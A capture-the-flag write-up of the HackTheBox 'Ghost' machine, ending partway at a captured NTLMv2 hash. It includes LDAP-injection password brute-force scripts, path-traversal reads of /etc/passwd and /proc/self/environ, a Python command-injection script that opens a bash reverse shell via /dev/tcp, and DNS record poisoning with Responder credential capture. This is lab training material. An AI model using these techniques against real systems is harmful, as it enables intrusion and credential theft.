Ghost – HackTheBox Link to heading

  • OS: Windows
  • Difficulty: Insane
  • Platform: HackTheBox

Avatar ghost


Synopsis Link to heading

“Ghost” is an Insane difficult machine from HackTheBox platform. This machine focuses mainly on how to exploit a customized Ghost CMS software that allows an attacker to read files (Local File Inclusion) due to a custom configuration and command injection after a code analysis. It also teaches how to perform other attacks such as LDAP Injections, modify DNS records, code execution in MSSQL service and Trust Forest Attacks in an Active Directory environment.


User Link to heading

Starting with Nmap scan shows multiple ports open: 53 Domain Name System (DNS), 80 HTTP, 88 Kerberos, 135 Microsoft RPC, 443 and 8008 HTTPs, 445 Server Message Block (SMB), 1433 Microsoft SQL Server (MSSQL), 5895 Windows Remote Management (WinRM); among others:

❯ sudo nmap -sVC -p53,80,88,135,139,389,443,445,464,593,636,1433,2179,3268,3269,3389,5985,8008,8443,9389,49443,49664,49672,49680,63401,63446,63916 10.10.11.24

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-28 04:36 -03
Nmap scan report for ghost.htb (10.10.11.24)
Host is up (0.24s latency).

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2024-09-28 07:36:53Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: ghost.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.ghost.htb
| Subject Alternative Name: DNS:DC01.ghost.htb, DNS:ghost.htb
| Not valid before: 2024-06-19T15:45:56
|_Not valid after:  2124-06-19T15:55:55
|_ssl-date: TLS randomness does not represent time
443/tcp   open  https?
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: ghost.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.ghost.htb
| Subject Alternative Name: DNS:DC01.ghost.htb, DNS:ghost.htb
| Not valid before: 2024-06-19T15:45:56
|_Not valid after:  2124-06-19T15:55:55
|_ssl-date: TLS randomness does not represent time
1433/tcp  open  ms-sql-s      Microsoft SQL Server 2022 16.00.1000.00; RC0+
| ms-sql-ntlm-info:
|   10.10.11.24:1433:
|     Target_Name: GHOST
|     NetBIOS_Domain_Name: GHOST
|     NetBIOS_Computer_Name: DC01
|     DNS_Domain_Name: ghost.htb
|     DNS_Computer_Name: DC01.ghost.htb
|     DNS_Tree_Name: ghost.htb
|_    Product_Version: 10.0.20348
|_ssl-date: 2024-09-28T07:38:31+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2024-09-28T07:13:17
|_Not valid after:  2054-09-28T07:13:17
| ms-sql-info:
|   10.10.11.24:1433:
|     Version:
|       name: Microsoft SQL Server 2022 RC0+
|       number: 16.00.1000.00
|       Product: Microsoft SQL Server 2022
|       Service pack level: RC0
|       Post-SP patches applied: true
|_    TCP port: 1433
2179/tcp  open  vmrdp?
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: ghost.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=DC01.ghost.htb
| Subject Alternative Name: DNS:DC01.ghost.htb, DNS:ghost.htb
| Not valid before: 2024-06-19T15:45:56
|_Not valid after:  2124-06-19T15:55:55
3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: ghost.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.ghost.htb
| Subject Alternative Name: DNS:DC01.ghost.htb, DNS:ghost.htb
| Not valid before: 2024-06-19T15:45:56
|_Not valid after:  2124-06-19T15:55:55
|_ssl-date: TLS randomness does not represent time
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=DC01.ghost.htb
| Not valid before: 2024-06-16T15:49:55
|_Not valid after:  2024-12-16T15:49:55
| rdp-ntlm-info:
|   Target_Name: GHOST
|   NetBIOS_Domain_Name: GHOST
|   NetBIOS_Computer_Name: DC01
|   DNS_Domain_Name: ghost.htb
|   DNS_Computer_Name: DC01.ghost.htb
|   DNS_Tree_Name: ghost.htb
|   Product_Version: 10.0.20348
|_  System_Time: 2024-09-28T07:37:54+00:00
|_ssl-date: 2024-09-28T07:38:31+00:00; +1s from scanner time.
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
8008/tcp  open  http          nginx 1.18.0 (Ubuntu)
|_http-generator: Ghost 5.78
| http-robots.txt: 5 disallowed entries
|_/ghost/ /p/ /email/ /r/ /webmentions/receive/
|_http-title: Ghost
|_http-server-header: nginx/1.18.0 (Ubuntu)
8443/tcp  open  ssl/http      nginx 1.18.0 (Ubuntu)
| tls-nextprotoneg:
|_  http/1.1
| tls-alpn:
|_  http/1.1
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=core.ghost.htb
| Subject Alternative Name: DNS:core.ghost.htb
| Not valid before: 2024-06-18T15:14:02
|_Not valid after:  2124-05-25T15:14:02
| http-title: Ghost Core
|_Requested resource was /login
|_http-server-header: nginx/1.18.0 (Ubuntu)
9389/tcp  open  mc-nmf        .NET Message Framing
49443/tcp open  unknown
49664/tcp open  msrpc         Microsoft Windows RPC
49672/tcp open  msrpc         Microsoft Windows RPC
49680/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
63401/tcp open  msrpc         Microsoft Windows RPC
63446/tcp open  msrpc         Microsoft Windows RPC
63916/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: DC01; OSs: Windows, Linux; CPE: cpe:/o:microsoft:windows, cpe:/o:linux:linux_kernel

Host script results:
| smb2-time:
|   date: 2024-09-28T07:38:00
|_  start_date: N/A
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled and required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 112.99 seconds

From the scan, we note that we have a domain: ghost.htb. We also have a Domain Controller and, in port 8443 we have a subdomain core.ghost.htb. We guess we are against an Active Directory environment.

Add this domain and subdomains to our /etc/hosts file:

❯ echo '10.10.11.24 ghost.htb DC01.ghost.htb core.ghost.htb' | sudo tee -a /etc/hosts

Visiting ports 80 HTTP and 443 HTTPs do not show any webpage. There is also an HTTPs webpage at port 8008, but we are not able to get info. Finally, visiting the page in port 8443 shows something:

Ghost 1

Clicking on Login using AD Federation redirects to federation.ghost.htb domain. Add this domain to our /etc/hosts file as well. Once added and re-visiting it we have:

Ghost

But simple credentials do not work here.

Apparently, this is an Active Directory Federation panel to log:

Info
Active Directory Federation Services (AD FS) is a single sign on (SSO) feature developed by Microsoft that provides safe, authenticated access to any domain, device, web application or system within the organization’s Active Directory (AD), as well as approved third-party systems.

So it is a tool to add third party systems/devices to an AD environment.

Visiting http://ghost.htb:8008 shows a kind of a blog:

Ghost 10

We can read the text Powered by Ghost. Searching what is ghost org returns:

Info
Ghost is an open source content management system (CMS) platform written in JavaScript and distributed under the MIT License, designed to simplify the process of online publishing for individual bloggers as well as online publications

Basically, Ghost CMS is a Content Management System as could be Joomla, WordPress and others. We don’t find any information useful in this site, but we will come back to it soon.

Looking again at Nmap scan output, from scan to port 8008, there is a /robots.txt file with some entries:

❯ curl -s http://ghost.htb:8008/robots.txt

User-agent: *
Sitemap: http://ghost.htb/sitemap.xml
Disallow: /ghost/
Disallow: /p/
Disallow: /email/
Disallow: /r/
Disallow: /webmentions/receive/

Visiting http://ghost.htb:8008/ghost redirects to http://ghost.htb:8008/#/signin, a new login panel:

Ghost 3

Searching for new subdomains that could be applying vhosting in this port with ffuf yields to:

❯ ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt:FUZZ -u http://ghost.htb:8008/ -H 'Host: FUZZ.ghost.htb' -fs 7676

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://ghost.htb:8008/
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
 :: Header           : Host: FUZZ.ghost.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 7676
________________________________________________

intranet                [Status: 307, Size: 3968, Words: 52, Lines: 1, Duration: 221ms]
:: Progress: [4989/4989] :: Job [1/1] :: 22 req/sec :: Duration: [0:02:42] :: Errors: 2 ::

We have a domain: intranet.ghost.htb. We add, again, this new subdomain to our /etc/hosts file.

Once added, we visit http://intranet.ghost.htb:8008/ and we can see a new login panel:

Ghost 4

(How many login panels will we find? D:)

Typical default credentials do not work either. If we intercept the request sent when we attempt to log in to this panel, we get the request:

POST /login HTTP/1.1
Host: intranet.ghost.htb:8008
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/x-component
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://intranet.ghost.htb:8008/login
Next-Action: c471eb076ccac91d6f828b671795550fd5925940
Next-Router-State-Tree: %5B%22%22%2C%7B%22children%22%3A%5B%22login%22%2C%7B%22children%22%3A%5B%22__PAGE__%22%2C%7B%7D%5D%7D%5D%7D%2Cnull%2Cnull%2Ctrue%5D
Content-Type: multipart/form-data; boundary=---------------------------416026015933733900362518892273
Content-Length: 436
Origin: http://intranet.ghost.htb:8008
DNT: 1
Connection: close

-----------------------------416026015933733900362518892273
Content-Disposition: form-data; name="1_ldap-username"

usertest
-----------------------------416026015933733900362518892273
Content-Disposition: form-data; name="1_ldap-secret"

passtest
-----------------------------416026015933733900362518892273
Content-Disposition: form-data; name="0"

[{},"$K1"]
-----------------------------416026015933733900362518892273--

Ghost 5

The parameters being requested are called 1_ldap-username and 1_ldap-secret. Based on this, we suspect this might be vulnerable to LDAP Injection. Based on how to bypass logins by HackTricks, we can just attempt to set as username a wildcard * and as secret * as well. So as user and secret we pass both * character. Using them in the panel works. We are inside the panel as kathryn.holland user:

Ghost 6

There is an info about a temporal user gitea_temp_principal account:

Git Migration

We are currently migrating Gitea to Bitbucket.
Domain logins to Gitea have been disabled.
You can only login with the gitea_temp_principal account and its corresponding intranet token as password.
We can't post the password here for security reasons, but:
For IT: Ask sysadmins for the password.
For sysadmins: Look in LDAP for the attribute. You can also test the credentials by logging in to intranet.

Then, what we do is that we can logout from this panel and now pass the user gitea_temp_principal and the secret *. This allow us to log in as this new user (as can be seen at the top right text), but we don’t see anything new. I guess that, maybe, there is a gitea or bitbucket subdomain somewhere. For that, I just create a custom list with some subdomains and some fake ones, so I can filter by fake positives and check if these subdomains do exist with ffuf again:

❯ cat templist.txt

test
test1
test2
test3
gitea
bitbucket
test4

❯ ffuf -w ./templist.txt:FUZZ -u http://ghost.htb:8008/ -H 'Host: FUZZ.ghost.htb' -fs 7676 -t 55

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://ghost.htb:8008/
 :: Wordlist         : FUZZ: /home/gunzf0x/HTB/HTBMachines/Insane/Ghost/content/templist.txt
 :: Header           : Host: FUZZ.ghost.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 55
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 7676
________________________________________________

gitea                   [Status: 200, Size: 13651, Words: 1050, Lines: 272, Duration: 176ms]
:: Progress: [7/7] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Errors: 0 ::

We find that gitea.ghost.htb does exist in port 8008.

Adding this new subdomain and visiting http://gitea.ghost.htb:8008/ shows a simple Gitea panel:

Ghost 7

But we are not able to create a user or see any exposed project. So we might need credentials for gitea_temp_principal user mentioned previously.

Similar as we did for Analysis Machine, we can create a Python or Go script (in my case I created one in both languages because I am a nerd and wanted to practice Go) to extract the credentials for this user. How? Let’s suppose that the password for a known username is securepa55w0rd. In an LDAP Injection we can then log in providing the username and the password s*, or secure*, or securepa* and it will work. However, if we pass a*, or anything*, or secureaaaa* as password/secret it won’t work. This is similar as wildcards (*) works on Linux. When the password is invalid we get the response Invalid combination of username and secret. When we pass something correct (like * alone), this text is not present. That’s the condition that tells us if the password is valid or not.

We use then this Go script:

//usr/bin/go run $0 $@ ; exit
package main

import (
	"bytes"
	"compress/gzip"
	"fmt"
	"io"
	"mime/multipart"
	"net/http"
	"strings"
)

// Function to send HTTP POST request with a custom ldapSecret
func sendPostRequest(ldapSecret string) (string, error) {
	// Create a buffer to hold the body
	var body bytes.Buffer
	writer := multipart.NewWriter(&body)

	// Set the boundary manually
	boundary := "---------------------------25210098721522078059643854455"
	writer.SetBoundary(boundary)

	// Add form fields
	writer.WriteField("1_ldap-username", "gitea_temp_principal")
	writer.WriteField("1_ldap-secret", ldapSecret+"*")
	writer.WriteField("0", `[{},"$K1"]`)

	// Close the writer to finalize the multipart body
	writer.Close()

	// Create the request
	req, err := http.NewRequest("POST", "http://intranet.ghost.htb:8008/login", &body)
	if err != nil {
		return "", fmt.Errorf("error creating request: %v", err)
	}

	// Add headers
	req.Header.Set("User-Agent", "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0")
	req.Header.Set("Accept", "text/x-component")
	req.Header.Set("Accept-Language", "en-US,en;q=0.5")
	req.Header.Set("Accept-Encoding", "gzip, deflate, br")
	req.Header.Set("Referer", "http://intranet.ghost.htb:8008/login")
	req.Header.Set("Next-Action", "c471eb076ccac91d6f828b671795550fd5925940")
	req.Header.Set("Next-Router-State-Tree", "%5B%22%22%2C%7B%22children%22%3A%5B%22login%22%2C%7B%22children%22%3A%5B%22__PAGE__%22%2C%7B%7D%5D%7D%5D%7D%2Cnull%2Cnull%2Ctrue%5D")
	req.Header.Set("Content-Type", fmt.Sprintf("multipart/form-data; boundary=%s", boundary))
	req.Header.Set("Origin", "http://intranet.ghost.htb:8008")
	req.Header.Set("DNT", "1")
	req.Header.Set("Connection", "close")

	// Send the request
	client := &http.Client{}
	resp, err := client.Do(req)
	if err != nil {
		return "", fmt.Errorf("error sending request: %v", err)
	}
	defer resp.Body.Close()

	// Check for compressed content
	var reader io.ReadCloser
	switch resp.Header.Get("Content-Encoding") {
	case "gzip":
		reader, err = gzip.NewReader(resp.Body)
		if err != nil {
			return "", fmt.Errorf("error creating gzip reader: %v", err)
		}
		defer reader.Close()
	default:
		reader = resp.Body
	}

	// Read and return the decompressed response
	respBody, err := io.ReadAll(reader)
	if err != nil {
		return "", fmt.Errorf("error reading response: %v", err)
	}

	return string(respBody), nil
}

func main() {
	// Possible password characters
	var charmap = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ#$%&/¿?¡!"
	fmt.Println("[+] Extracting password/secret")
	secret := ""
	passwordFound := false
	// Start bruteforcing
	for !passwordFound {
		for _, char := range charmap {
			// Send HTTP Request
			currentTry := secret + string(char)
			response, err := sendPostRequest(currentTry)
			fmt.Printf("\r[+] Attempting with password/secret: %s", currentTry)
			// Check if we have errors in the request
			if err != nil {
				fmt.Println("Error:", err)
				return
			}
			// Check if "Invalid combination" is in the response
			if !strings.Contains(response, "Invalid combination") {
				secret += string(char)
				break
			} else {
				// If we are in the last character and it is not valid, we have ended
				if string(char) == "!" {
					passwordFound = true
					break
				}
				continue
			}
		}
	}
	// Did we find the password? D:
	if len(secret) == 0 {
		fmt.Println("\n[-] Unable to find password.")
	} else {
		fmt.Println("\n[+] Password found: ", secret)
	}
}

For those that prefer Python, I also made this script that does exactly the same:

#!/usr/bin/python3

import requests
from requests_toolbelt.multipart.encoder import MultipartEncoder
import string
from pwn import log
from sys import exit as sys_exit

charmap = list(string.digits + string.ascii_letters + '!@#$%&/=¿?¡!')


def make_HTTP_request(secret_to_inject: str):
    # Set parameters
    url: str = "http://intranet.ghost.htb:8008/login"
    headers = {
        "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0",
        "Accept": "text/x-component",
        "Accept-Language": "en-US,en;q=0.5",
        "Accept-Encoding": "gzip, deflate, br",
        "Referer": "http://intranet.ghost.htb:8008/login",
        "Next-Action": "c471eb076ccac91d6f828b671795550fd5925940",
        "Next-Router-State-Tree": "%5B%22%22%2C%7B%22children%22%3A%5B%22login%22%2C%7B%22children%22%3A%5B%22__PAGE__%22%2C%7B%7D%5D%7D%5D%7D%2Cnull%2Cnull%2Ctrue%5D",
        "Content-Type": "multipart/form-data; boundary=---------------------------25210098721522078059643854455",
        "Origin": "http://intranet.ghost.htb:8008",
        "DNT": "1",
        "Connection": "close"
    }

    # Define the same multipart structure using requests_toolbelt's MultipartEncoder
    multipart_data = MultipartEncoder(
        fields={
            "1_ldap-username": "gitea_temp_principal",
            "1_ldap-secret": f"{secret_to_inject}*", # LDAP Injection
            "0": '[{}, "$K1"]'
        },
        boundary='---------------------------25210098721522078059643854455'
    )

    headers["Content-Type"] = multipart_data.content_type

    return requests.post(url, headers=headers, data=multipart_data.to_string())

secret: str = ''
log.info('Extracting secret/password...')
p1 = log.progress("Secret")
while True:
    for char in charmap:
        attempt = f"{secret}*"
        p1.status(f"{secret}{char}")
        r = make_HTTP_request(secret+char)
        if not 'Invalid combination' in r.text:
            secret += char
            break
        if r.status_code == 200 and ('Invalid combination of username and secret' in r.text):
            continue
        if r.status_code == 200:
            print(f"[-] Weird response: {r.text!r}")
            continue
    else:
        break
if len(secret) == 0:
    p1.failure('No password recovered :(')
    sys_exit(1)
p1.success(f"Password found: {secret}")

Running any of these scripts, after some time, we get:

❯ go run main.go

[+] Extracting password/secret
[+] Attempting with password/secret: szrr8kpc3z6onlqf!
[+] Password found:  szrr8kpc3z6onlqf

We have a user and password: gitea_temp_principal:szrr8kpc3z6onlqf

If we use these credentials in Gitea page they work. We are in:

Ghost 8 We can see 2 repositories: blog and intranet.

Analyzing the files for intranet, more specifically for backend directory, we are able to see a portion of Rust code in the file:

http://gitea.ghost.htb:8008/ghost-dev/intranet/src/branch/main/backend/src/api/dev.rs

that shows:

use rocket::http::Status;
use rocket::Request;
use rocket::request::{FromRequest, Outcome};

pub(crate) mod scan;

pub struct DevGuard;

#[rocket::async_trait]
impl<'r> FromRequest<'r> for DevGuard {
    type Error = ();

    async fn from_request(request: &'r Request<'_>) -> Outcome<Self, Self::Error> {
        let key = request.headers().get_one("X-DEV-INTRANET-KEY");
        match key {
            Some(key) => {
                if key == std::env::var("DEV_INTRANET_KEY").unwrap() {
                    Outcome::Success(DevGuard {})
                } else {
                    Outcome::Error((Status::Unauthorized, ()))
                }
            },
            None => Outcome::Error((Status::Unauthorized, ()))
        }
    }
}

This is accepting a header parameter named X-DEV-INTRANET-KEY and compares it with a key in the system. If the key is valid, then it uses DevGuard struct to handle the authentication and allows the request to proceed. So, basically, if a correct key is passed through this DEV_INTRANET_KEY it will continue with the request.

Searching for DevGuard in Intranet repository yields to the file:

http://gitea.ghost.htb:8008/ghost-dev/intranet/raw/branch/main/backend/src/api/dev/scan.rs

whose content is:

use std::process::Command;

use rocket::serde::json::Json;
use rocket::serde::Serialize;
use serde::Deserialize;

use crate::api::dev::DevGuard;

#[derive(Deserialize)]
pub struct ScanRequest {
    url: String,
}

#[derive(Serialize)]
pub struct ScanResponse {
    is_safe: bool,
    // remove the following once the route is stable
    temp_command_success: bool,
    temp_command_stdout: String,
    temp_command_stderr: String,
}

// Scans an url inside a blog post
// This will be called by the blog to ensure all URLs in posts are safe
#[post("/scan", format = "json", data = "<data>")]
pub fn scan(_guard: DevGuard, data: Json<ScanRequest>) -> Json<ScanResponse> {
    // currently intranet_url_check is not implemented,
    // but the route exists for future compatibility with the blog
    let result = Command::new("bash")
        .arg("-c")
        .arg(format!("intranet_url_check {}", data.url))
        .output();

    match result {
        Ok(output) => {
            Json(ScanResponse {
                is_safe: true,
                temp_command_success: true,
                temp_command_stdout: String::from_utf8(output.stdout).unwrap_or("".to_string()),
                temp_command_stderr: String::from_utf8(output.stderr).unwrap_or("".to_string()),
            })
        }
        Err(_) => Json(ScanResponse {
            is_safe: true,
            temp_command_success: false,
            temp_command_stdout: "".to_string(),
            temp_command_stderr: "".to_string(),
        })
    }
}

This code defines an endpoint for scanning URLs in blog posts (after the key has been verified by the first code shown). The important part here is that it is executing bash -c intranet_url_check [data_url]. But this is not being sanitized, so we might be able to inject commands.

So far, we have found a way to inject code. However, we still need the correct key to pass DevGuard permission. Hanging around these repositories, we can see that blog repository has a JavaScript file named post-public.js. One of the lines shows something interesting:

<SNIP>
if (extra) {
const fs = require("fs");
if (fs.existsSync(extra)) {
  const fileContent = fs.readFileSync("/var/lib/ghost/extra/" + extra, { encoding: "utf8" });
  posts.meta.extra = { [extra]: fileContent };
}
}
return posts;
<SNIP>

Basically this parameter (fileContent) is not being sanitized, and is being called as the parameter name extra. Therefore we might attempt a Local File Inclusion to read system files and, maybe, it can be used to obtain the DEV_INTRANET_KEY variable.

Now, we can go back to the blog webpage http://ghost.htb:8008. We start Burpsuite to intercept the request for the blog and click on Forward until we can see the only post available:

Ghost 9

Then, with the Intercept in ON mode, we click on the magnifying glass icon at top right side. We get a request:

OPTIONS /ghost/api/content/posts/?key=37395e9e872be56438c83aaca6&limit=10000&fields=id%2Cslug%2Ctitle%2Cexcerpt%2Curl%2Cupdated_at%2Cvisibility&order=updated_at%20DESC HTTP/1.1
Host: ghost.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Access-Control-Request-Method: GET
Access-Control-Request-Headers: accept-version
Referer: http://ghost.htb:8008/embarking-on-the-supernatural-journey-welcome-to-ghost/
Origin: http://ghost.htb:8008
DNT: 1
Connection: close

The request has a key: 37395e9e872be56438c83aaca6 and an API endpoint /ghost/api/content/posts/.

Maybe we can use this key along with what we found in the .js file in blog repository at Gitea to attempt to get some data:

❯ curl -s -X GET -G 'http://ghost.htb:8008//ghost/api/content/posts/?' --data-urlencode 'key=37395e9e872be56438c83aaca6' --data-urlencode 'extra=../../../../../../../etc/passwd'

<SNIP>
{"pagination":{"page":1,"limit":15,"pages":1,"total":1,"next":null,"prev":null},"extra":{"../../../../../../../etc/passwd":"root:x:0:0:root:/root:/bin/ash\nbin:x:1:1:bin:/bin:/sbin/nologin\ndaemon:x:2:2:daemon:/sbin:/sbin/nologin\nadm:x:3:4:adm:/var/adm:/sbin/nologin\nlp:x:4:7:lp:/var/spool/lpd:/sbin/nologin\nsync:x:5:0:sync:/sbin:/bin/sync\nshutdown:x:6:0:shutdown:/sbin:/sbin/shutdown\nhalt:x:7:0:halt:/sbin:/sbin/halt\nmail:x:8:12:mail:/var/mail:/sbin/nologin\nnews:x:9:13:news:/usr/lib/news:/sbin/nologin\nuucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin\noperator:x:11:0:operator:/root:/sbin/nologin\nman:x:13:15:man:/usr/man:/sbin/nologin\npostmaster:x:14:12:postmaster:/var/mail:/sbin/nologin\ncron:x:16:16:cron:/var/spool/cron:/sbin/nologin\nftp:x:21:21::/var/lib/ftp:/sbin/nologin\nsshd:x:22:22:sshd:/dev/null:/sbin/nologin\nat:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin\nsquid:x:31:31:Squid:/var/cache/squid:/sbin/nologin\nxfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin\ngames:x:35:35:games:/usr/games:/sbin/nologin\ncyrus:x:85:12::/usr/cyrus:/sbin/nologin\nvpopmail:x:89:89::/var/vpopmail:/sbin/nologin\nntp:x:123:123:NTP:/var/empty:/sbin/nologin\nsmmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin\nguest:x:405:100:guest:/dev/null:/sbin/nologin\nnobody:x:65534:65534:nobody:/:/sbin/nologin\nnode:x:1000:1000:Linux User,,,:/home/node:/bin/sh\n"}}}

It worked. We can read system files.

Now, we can attempt to view environment variables on the machine attempting to read /proc/self/environ file:

❯ curl -s -X GET -G 'http://ghost.htb:8008//ghost/api/content/posts/?' --data-urlencode 'key=37395e9e872be56438c83aaca6' --data-urlencode 'extra=../../../../../../../proc/self/environ' | sed 's/\\u0000//g'

<SNIP>
":{"pagination":{"page":1,"limit":15,"pages":1,"total":1,"next":null,"prev":null},"extra":{"../../../../../../../proc/self/environ":"HOSTNAME=26ae7990f3dddatabase__debug=falseYARN_VERSION=1.22.19PWD=/var/lib/ghostNODE_ENV=productiondatabase__connection__filename=content/data/ghost.dbHOME=/home/nodedatabase__client=sqlite3url=http://ghost.htbDEV_INTRANET_KEY=!@yqr!X2kxmQ.@Xedatabase__useNullAsDefault=trueGHOST_CONTENT=/var/lib/ghost/contentSHLVL=0GHOST_CLI_VERSION=1.25.3GHOST_INSTALL=/var/lib/ghostPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binNODE_VERSION=18.19.0GHOST_VERSION=5.78.0"}}}

We are able to see something really interesting: DEV_INTRANET_KEY=!@yqr!X2kxmQ.@Xe.

This is the key we have to use against /api-dev/scan route for intranet.ghost.htb:8008 site. We can use a simple Python code to get a reverse shell abusing the missconfiguration at DevGuard struct found at Rust code:

#!/usr/bin/python3
import requests
import argparse


parser = argparse.ArgumentParser(description='Revshell')
parser.add_argument('ip', type=str, help='IP to connect')
parser.add_argument('port', type=int, help='Listening port with "nc"')

args = parser.parse_args()

api_url = "http://intranet.ghost.htb:8008/api-dev/scan"
headers = {
    "X-DEV-INTRANET-KEY": '!@yqr!X2kxmQ.@Xe', # Header checked by 'DevGuard' struct
    "Content-Type": "application/json"
}

data = {
    "url": f"; bash -c 'bash -i >& /dev/tcp/{args.ip}/{args.port} 0>&1'" # Command injection
}

print("[+] Sending payload...")

requests.post(api_url, headers=headers, json=data)

Start a listener with nc on port 443 and execute the script:

❯ python3 connect_to_machine.py 10.10.16.5 443

[+] Sending payload...

and get a connection as root user (clearly on a Docker container):

❯ nc -lvnp 443

listening on [any] 443 ...
connect to [10.10.16.5] from (UNKNOWN) [10.10.11.24] 49818
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@36b733906694:/app# whoami

whoami
root

We can then upload pspy to the victim machine to see processes running in the background. Doing this we get:

root@36b733906694:/app# chmod +x /tmp/pspy64

root@36b733906694:/app# /tmp/pspy64

<SNIP>
2024/09/29 09:34:01 CMD: UID=0     PID=1576   | runc init
2024/09/29 09:34:01 CMD: UID=0     PID=1581   | sshpass -p xxxxxxxxxxxxxxxx ssh -o StrictHostKeyChecking no florence.ramirez@ghost.htb@dev-workstation echo 'uxLmt*udNc6t3HrF' | kinit
<SNIP>

where uxLmt*udNc6t3HrF seems to be like a password for florence.ramirez user.

We check if this password is valid through, for example, SMB service with NetExec:

❯ nxc smb 10.10.11.24 -u 'florence.ramirez'  -p 'uxLmt*udNc6t3HrF'

SMB         10.10.11.24     445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:ghost.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.24     445    DC01             [+] ghost.htb\florence.ramirez:uxLmt*udNc6t3HrF

and they are valid. We have credentials: florence.ramirez:uxLmt*udNc6t3HrF.

These credentials are also valid through MSSQL service. But attempting to gain system command execution with that service is futile.

If we go back to the intranet page, there is a Forum tab. Clicking on it shows:

Ghost 11

We assume there is a script running pointing to bitbucket.ghost.htb domain and making some kind of request to it (maybe it’s passing credentials).

We can then to modify the DNS records in the AD environment using dnstool.py (that can be obtained from this Github repository). What we will do is attempting to modify the DNS records. Therefore, when the request is sent to FQDN bitbucket.ghost.htb, the server will think that this subdomain is an alias for our IP attacker address. We can do this running:

❯ python3 dnstool.py -u 'ghost.htb\florence.ramirez' -p 'uxLmt*udNc6t3HrF' -a add -r "bitbucket.ghost.htb" -t A -d 10.10.16.3 10.10.11.24

[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[-] Adding new record
[+] LDAP operation completed successfully

where 10.10.16.3 is our attacker IP and 10.10.11.24 is DC IP (victim machine IP).

We can check if this has worked checking the DNS records with a tool like nslookup:

❯ nslookup bitbucket.ghost.htb 10.10.11.24

Server:         10.10.11.24
Address:        10.10.11.24#53

Name:   bitbucket.ghost.htb
Address: 10.10.16.3

and our attacker IP address is there.

We can now start a spoofing for credentials using a tool like Responder:

❯ sudo responder -I tun0 wvd

<SNIP>

[+] Listening for events...

[HTTP] NTLMv2 Client   : 10.10.11.24
[HTTP] NTLMv2 Username : ghost\justin.bradley
